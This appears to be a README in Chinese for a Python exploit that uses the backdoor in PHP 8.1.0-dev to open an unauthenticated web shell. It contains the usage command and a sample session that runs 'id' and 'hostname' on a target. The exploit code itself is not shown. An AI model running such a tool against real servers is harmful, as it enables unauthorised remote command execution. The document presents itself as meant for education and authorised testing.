
PHP 8.1.0-dev WebShell Remote Code Execution
PHP 8.1.0-dev WebShell RCE(未授权)的 Exploit 代码
预期结果:利用安装在 PHP 8.1.0-dev 服务器上的后门,从而获得 WebShell 以远程执行命令。
仅用于企业环境中的教育和测试目的。
此 Exploit 已在 Python 3.8.6 上测试通过
`cfx: ~/Documents/
→ ./exploit.py -h
usage: exploit.py [-h] [-l URL]
PHP 8.1.0-dev WebShell RCE by ColdFusionX
optional arguments:
-h, --help show this help message and exit
-l URL, --url URL PHP 8.1.0-dev Target URL(Example: http://127.0.0.1)
Exploit Usage :
./exploit.py -l http://127.0.0.1
[^] WebShell=- id
OR
[^] WebShell=- whoami
此 Exploit 初始运行时只需单个参数:
`cfx: ~/Documents/
→ ./exploit.py -l http://127.0.0.1
[+] PHP 8.1.0-dev WebShell RCE by ColdFusionX
Target is running on PHP 8.1.0-dev
*Shoot your commands below*
[^] WebShell=- id
uid=1000(cfx) gid=1000(cfx) groups=1000(cfx)
[^] WebShell=- hostname
shockwave
[^] WebShell=- ^C
Exiting.
`cfx: ~/Documents/
→ ./exploit.py -l http://127.0.0.1
[+] PHP 8.1.0-dev WebShell RCE by ColdFusionX
Invalid URL or Target Not Vulnerable